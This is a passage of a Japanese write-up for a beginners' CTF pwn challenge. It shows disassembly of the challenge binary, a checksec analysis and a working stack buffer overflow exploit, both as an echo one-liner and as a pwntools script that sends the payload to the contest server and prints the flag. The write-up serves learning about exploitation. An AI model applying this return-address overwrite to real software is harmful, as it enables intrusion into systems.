    15: 0000000000403e08     0 OBJECT  LOCAL  DEFAULT   21 _DYNAMIC
    16: 0000000000402038     0 NOTYPE  LOCAL  DEFAULT   17 __GNU_EH_FRAME_HDR
    17: 0000000000403fe8     0 OBJECT  LOCAL  DEFAULT   23 _GLOBAL_OFFSET_TABLE_
    18: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_mai[...]
    19: 0000000000404050     8 OBJECT  GLOBAL DEFAULT   25 stdout@GLIBC_2.2.5
    20: 0000000000404038     0 NOTYPE  WEAK   DEFAULT   24 data_start
    21: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5
    22: 0000000000404060     8 OBJECT  GLOBAL DEFAULT   25 stdin@GLIBC_2.2.5
    23: 0000000000404048     0 NOTYPE  GLOBAL DEFAULT   24 _edata
    24: 00000000004012a0     0 FUNC    GLOBAL HIDDEN    15 _fini
    25: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.2.5
    26: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND alarm@GLIBC_2.2.5
    27: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.2.5
    28: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fgets@GLIBC_2.2.5
    29: 0000000000404038     0 NOTYPE  GLOBAL DEFAULT   24 __data_start
    30: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    31: 0000000000404040     0 OBJECT  GLOBAL HIDDEN    24 __dso_handle
    32: 0000000000402000     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
    33: 0000000000401253    77 FUNC    GLOBAL DEFAULT   14 init
    34: 0000000000401186    73 FUNC    GLOBAL DEFAULT   14 win
    35: 0000000000404070     0 NOTYPE  GLOBAL DEFAULT   25 _end
    36: 00000000004010d0     5 FUNC    GLOBAL HIDDEN    14 _dl_relocate_sta[...]
    37: 00000000004010a0    38 FUNC    GLOBAL DEFAULT   14 _start
    38: 0000000000404050     0 NOTYPE  GLOBAL DEFAULT   25 __bss_start
    39: 00000000004011cf   132 FUNC    GLOBAL DEFAULT   14 main
    40: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND setvbuf@GLIBC_2.2.5
    41: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fopen@GLIBC_2.2.5
    42: 0000000000404048     0 OBJECT  GLOBAL HIDDEN    24 __TMC_END__
    43: 0000000000401000     0 FUNC    GLOBAL HIDDEN    12 _init

Histogram for `.gnu.hash' bucket list length (total of 2 buckets):
 Length  Number     % of total  Coverage
      0  0          (  0.0%)
      1  2          (100.0%)    100.0%

Version symbols section '.gnu.version' contains 12 entries:
 Addr: 0x0000000000400564  Offset: 0x00000564  Link: 6 (.dynsym)
  000:   0 (*local*)       2 (GLIBC_2.34)    3 (GLIBC_2.2.5)   3 (GLIBC_2.2.5)
  004:   3 (GLIBC_2.2.5)   3 (GLIBC_2.2.5)   3 (GLIBC_2.2.5)   1 (*global*)   
  008:   3 (GLIBC_2.2.5)   3 (GLIBC_2.2.5)   3 (GLIBC_2.2.5)   3 (GLIBC_2.2.5)

Version needs section '.gnu.version_r' contains 1 entry:
 Addr: 0x0000000000400580  Offset: 0x00000580  Link: 7 (.dynstr)
  000000: Version: 1  File: libc.so.6  Cnt: 2
  0x0010:   Name: GLIBC_2.2.5  Flags: none  Version: 3
  0x0020:   Name: GLIBC_2.34  Flags: none  Version: 2

Displaying notes found in: .note.gnu.property
  Owner                Data size 	Description
  GNU                  0x00000010	NT_GNU_PROPERTY_TYPE_0
      Properties: x86 ISA needed: x86-64-baseline

Displaying notes found in: .note.gnu.build-id
  Owner                Data size 	Description
  GNU                  0x00000014	NT_GNU_BUILD_ID (unique build ID bitstring)
    Build ID: 275410f599d2a70ee1160130ddf95968e4fd690f

Displaying notes found in: .note.ABI-tag
  Owner                Data size 	Description
  GNU                  0x00000010	NT_GNU_ABI_TAG (ABI version tag)
    OS: Linux, ABI: 3.2.0
objdump.txt の一部

./chall:     file format elf64-x86-64


Disassembly of section .text:

00000000004010a0 <_start>:
  4010a0:	f3 0f 1e fa          	endbr64
  4010a4:	31 ed                	xor    ebp,ebp
  4010a6:	49 89 d1             	mov    r9,rdx
  4010a9:	5e                   	pop    rsi
  4010aa:	48 89 e2             	mov    rdx,rsp
  4010ad:	48 83 e4 f0          	and    rsp,0xfffffffffffffff0
  4010b1:	50                   	push   rax
  4010b2:	54                   	push   rsp
  4010b3:	45 31 c0             	xor    r8d,r8d
  4010b6:	31 c9                	xor    ecx,ecx
  4010b8:	48 c7 c7 cf 11 40 00 	mov    rdi,0x4011cf
  4010bf:	ff 15 13 2f 00 00    	call   QWORD PTR [rip+0x2f13]        # 403fd8 <__libc_start_main@GLIBC_2.34>
  4010c5:	f4                   	hlt
  4010c6:	66 2e 0f 1f 84 00 00 	cs nop WORD PTR [rax+rax*1+0x0]
  4010cd:	00 00 00 

00000000004010d0 <_dl_relocate_static_pie>:
  4010d0:	f3 0f 1e fa          	endbr64
  4010d4:	c3                   	ret
  4010d5:	66 2e 0f 1f 84 00 00 	cs nop WORD PTR [rax+rax*1+0x0]
  4010dc:	00 00 00 
  4010df:	90                   	nop

00000000004010e0 <deregister_tm_clones>:
  4010e0:	b8 48 40 40 00       	mov    eax,0x404048
  4010e5:	48 3d 48 40 40 00    	cmp    rax,0x404048
  4010eb:	74 13                	je     401100 <deregister_tm_clones+0x20>
  4010ed:	b8 00 00 00 00       	mov    eax,0x0
  4010f2:	48 85 c0             	test   rax,rax
  4010f5:	74 09                	je     401100 <deregister_tm_clones+0x20>
  4010f7:	bf 48 40 40 00       	mov    edi,0x404048
  4010fc:	ff e0                	jmp    rax
  4010fe:	66 90                	xchg   ax,ax
  401100:	c3                   	ret
  401101:	66 66 2e 0f 1f 84 00 	data16 cs nop WORD PTR [rax+rax*1+0x0]
  401108:	00 00 00 00 
  40110c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]

0000000000401110 <register_tm_clones>:
  401110:	be 48 40 40 00       	mov    esi,0x404048
  401115:	48 81 ee 48 40 40 00 	sub    rsi,0x404048
  40111c:	48 89 f0             	mov    rax,rsi
  40111f:	48 c1 ee 3f          	shr    rsi,0x3f
  401123:	48 c1 f8 03          	sar    rax,0x3
  401127:	48 01 c6             	add    rsi,rax
  40112a:	48 d1 fe             	sar    rsi,1
  40112d:	74 11                	je     401140 <register_tm_clones+0x30>
  40112f:	b8 00 00 00 00       	mov    eax,0x0
  401134:	48 85 c0             	test   rax,rax
  401137:	74 07                	je     401140 <register_tm_clones+0x30>
  401139:	bf 48 40 40 00       	mov    edi,0x404048
  40113e:	ff e0                	jmp    rax
  401140:	c3                   	ret
  401141:	66 66 2e 0f 1f 84 00 	data16 cs nop WORD PTR [rax+rax*1+0x0]
  401148:	00 00 00 00 
  40114c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]

0000000000401150 <__do_global_dtors_aux>:
  401150:	f3 0f 1e fa          	endbr64
  401154:	80 3d 0d 2f 00 00 00 	cmp    BYTE PTR [rip+0x2f0d],0x0        # 404068 <completed.0>
  40115b:	75 13                	jne    401170 <__do_global_dtors_aux+0x20>
  40115d:	55                   	push   rbp
  40115e:	48 89 e5             	mov    rbp,rsp
  401161:	e8 7a ff ff ff       	call   4010e0 <deregister_tm_clones>
  401166:	c6 05 fb 2e 00 00 01 	mov    BYTE PTR [rip+0x2efb],0x1        # 404068 <completed.0>
  40116d:	5d                   	pop    rbp
  40116e:	c3                   	ret
  40116f:	90                   	nop
  401170:	c3                   	ret
  401171:	66 66 2e 0f 1f 84 00 	data16 cs nop WORD PTR [rax+rax*1+0x0]
  401178:	00 00 00 00 
  40117c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]

0000000000401180 <frame_dummy>:
  401180:	f3 0f 1e fa          	endbr64
  401184:	eb 8a                	jmp    401110 <register_tm_clones>

0000000000401186 <win>:
  401186:	55                   	push   rbp
  401187:	48 89 e5             	mov    rbp,rsp
  40118a:	48 83 ec 70          	sub    rsp,0x70
  40118e:	48 8d 05 6f 0e 00 00 	lea    rax,[rip+0xe6f]        # 402004 <_IO_stdin_used+0x4>
  401195:	48 89 c6             	mov    rsi,rax
  401198:	48 8d 05 67 0e 00 00 	lea    rax,[rip+0xe67]        # 402006 <_IO_stdin_used+0x6>
  40119f:	48 89 c7             	mov    rdi,rax
  4011a2:	e8 e9 fe ff ff       	call   401090 <fopen@plt>
  4011a7:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
  4011ab:	48 8b 55 f8          	mov    rdx,QWORD PTR [rbp-0x8]
  4011af:	48 8d 45 90          	lea    rax,[rbp-0x70]
  4011b3:	be 64 00 00 00       	mov    esi,0x64
  4011b8:	48 89 c7             	mov    rdi,rax
  4011bb:	e8 b0 fe ff ff       	call   401070 <fgets@plt>
  4011c0:	48 8d 45 90          	lea    rax,[rbp-0x70]
  4011c4:	48 89 c7             	mov    rdi,rax
  4011c7:	e8 64 fe ff ff       	call   401030 <puts@plt>
  4011cc:	90                   	nop
  4011cd:	c9                   	leave
  4011ce:	c3                   	ret

00000000004011cf <main>:
  4011cf:	55                   	push   rbp
  4011d0:	48 89 e5             	mov    rbp,rsp
  4011d3:	48 83 ec 10          	sub    rsp,0x10
  4011d7:	48 c7 45 f6 00 00 00 	mov    QWORD PTR [rbp-0xa],0x0
  4011de:	00 
  4011df:	66 c7 45 fe 00 00    	mov    WORD PTR [rbp-0x2],0x0
  4011e5:	48 8d 05 25 0e 00 00 	lea    rax,[rip+0xe25]        # 402011 <_IO_stdin_used+0x11>
  4011ec:	48 89 c7             	mov    rdi,rax
  4011ef:	b8 00 00 00 00       	mov    eax,0x0
  4011f4:	e8 47 fe ff ff       	call   401040 <printf@plt>
  4011f9:	48 8d 45 f6          	lea    rax,[rbp-0xa]
  4011fd:	ba 20 00 00 00       	mov    edx,0x20
  401202:	48 89 c6             	mov    rsi,rax
  401205:	bf 00 00 00 00       	mov    edi,0x0
  40120a:	e8 51 fe ff ff       	call   401060 <read@plt>
  40120f:	48 8d 45 f6          	lea    rax,[rbp-0xa]
  401213:	48 89 c6             	mov    rsi,rax
  401216:	48 8d 05 fb 0d 00 00 	lea    rax,[rip+0xdfb]        # 402018 <_IO_stdin_used+0x18>
  40121d:	48 89 c7             	mov    rdi,rax
  401220:	b8 00 00 00 00       	mov    eax,0x0
  401225:	e8 16 fe ff ff       	call   401040 <printf@plt>
  40122a:	48 8d 45 f6          	lea    rax,[rbp-0xa]
  40122e:	48 83 c0 12          	add    rax,0x12
  401232:	48 8b 00             	mov    rax,QWORD PTR [rax]
  401235:	48 89 c6             	mov    rsi,rax
  401238:	48 8d 05 e4 0d 00 00 	lea    rax,[rip+0xde4]        # 402023 <_IO_stdin_used+0x23>
  40123f:	48 89 c7             	mov    rdi,rax
  401242:	b8 00 00 00 00       	mov    eax,0x0
  401247:	e8 f4 fd ff ff       	call   401040 <printf@plt>
  40124c:	b8 00 00 00 00       	mov    eax,0x0
  401251:	c9                   	leave
  401252:	c3                   	ret

0000000000401253 <init>:
  401253:	55                   	push   rbp
  401254:	48 89 e5             	mov    rbp,rsp
  401257:	48 8b 05 02 2e 00 00 	mov    rax,QWORD PTR [rip+0x2e02]        # 404060 <stdin@GLIBC_2.2.5>
  40125e:	b9 00 00 00 00       	mov    ecx,0x0
  401263:	ba 02 00 00 00       	mov    edx,0x2
  401268:	be 00 00 00 00       	mov    esi,0x0
  40126d:	48 89 c7             	mov    rdi,rax
  401270:	e8 0b fe ff ff       	call   401080 <setvbuf@plt>
  401275:	48 8b 05 d4 2d 00 00 	mov    rax,QWORD PTR [rip+0x2dd4]        # 404050 <stdout@GLIBC_2.2.5>
  40127c:	b9 00 00 00 00       	mov    ecx,0x0
  401281:	ba 02 00 00 00       	mov    edx,0x2
  401286:	be 00 00 00 00       	mov    esi,0x0
  40128b:	48 89 c7             	mov    rdi,rax
  40128e:	e8 ed fd ff ff       	call   401080 <setvbuf@plt>
  401293:	bf 78 00 00 00       	mov    edi,0x78
  401298:	e8 b3 fd ff ff       	call   401050 <alarm@plt>
  40129d:	90                   	nop
  40129e:	5d                   	pop    rbp
  40129f:	c3                   	ret

バイナリ chall の方には、フラッグを出力する関数 win が実装されているようです。何とかバッファオーバーフローさせた上で、リターンアドレスを 0000000000401186 <win> あたりに上書きすればフラッグを得られそうです。

また、この攻撃が出来る条件の確認として、バイナリ chall のセキュリティ機構を確認するというのもあるそうです。

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=275410f599d2a70ee1160130ddf95968e4fd690f, for GNU/Linux 3.2.0, not stripped
$ checksec --file=chall 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   44 Symbols        No    0               3               chall
  • Partial RELRO: GOT (Global Offset Table)領域が書き換え可能 (GOT overwrite攻撃可能) な状態 (今回は関係ありませんが)
  • No canary found: 「リターンアドレスの前に Canary をいう値を置き、そこが書き換えられていたら例外を送出することで、バッファオーバーフロー攻撃によるリターンアドレスの書き換えを困難化させる状態」が無効化されている
  • No PIE: 「PIE (Position-Independent Executables) 実行コード内アドレス参照を全て相対アドレスで行い、メモリ上の配置をランダムにしても実行できる状態(特定アドレスを突く攻撃の困難化)」が無効化されている

さて入力する文字列はどうしよう、と思いましたが、以下のような方法で行けるとの事でした。

$ echo -e "ABCDEFGHIJKLMNOPQR\x87\x11\x40\x00\x00\x00\x00\x00\x0a" | ./chall
input:Hello, ABCDEFGHIJKLMNOPQR�@
return to: 0x401187
Segmentation fault (core dumped)

pwntools のインストール:

python3 -m pip install --upgrade pwntools

ArchLinux 環境への pwntools のインストール:

sudo pacman -S extra/python-pwntools
pwnable_simpleoverwrite.py
from pwn import *

context.log_level = 'DEBUG'

proc = remote('simpleoverwrite.beginners.seccon.games', 9001)

proc.recv(100)

payload = b'A'*18
payload += p64(0x401187)
payload += b'\n'

proc.send(payload)
proc.recv(1000)

proc.interactive()
$ python pwnable_simpleoverwrite.py
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
[DEBUG] Received 0x6 bytes:
    b'input:'
[DEBUG] Sent 0x1b bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 87 11  40 00 00 00  00 00 0a                  │AA··│@···│···│
    0000001b
[DEBUG] Received 0x47 bytes:
    00000000  48 65 6c 6c  6f 2c 20 41  41 41 41 41  41 41 41 41  │Hell│o, A│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 87 11 40  0a 72 65 74  │AAAA│AAAA│A··@│·ret│
    00000020  75 72 6e 20  74 6f 3a 20  30 78 34 30  31 31 38 37  │urn │to: │0x40│1187│
    00000030  0a 63 74 66  34 62 7b 42  33 6c 31 33  76 33 5f 34  │·ctf│4b{B│3l13│v3_4│
    00000040  67 34 31 6e  7d 0a 0a                               │g41n│}··│
    00000047
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
Flag
ctf4b{B3l13v3_4g41n}

今年(CTF4b 2024)のチームメンバーの writeup / 感想とか

https://x.com/cleantted_s/status/1802206587546980564

https://x.com/amb_vrc/status/1802296637865513158

https://x.com/NachiaVivias/status/1802315290287751295

https://www.mathenachia.blog/seccon-beginners-ctf-2024-writeup/

他にチームメンバーのwriteupなどが公開されたら後ほど追記します。

昨年(CTF4b 2023)のチームメンバーの writeup とか

昨年参加時のwriteupは自分は書いていませんでしたが、チームメンバーの記事を挙げておきます。

https://qiita.com/cleantted/items/87bf327b1170216fd7ef

https://amentorimaru.hatenablog.com/entry/2023/06/04/215120

https://x.com/mizar_tech/status/1667916979464974336

Discussion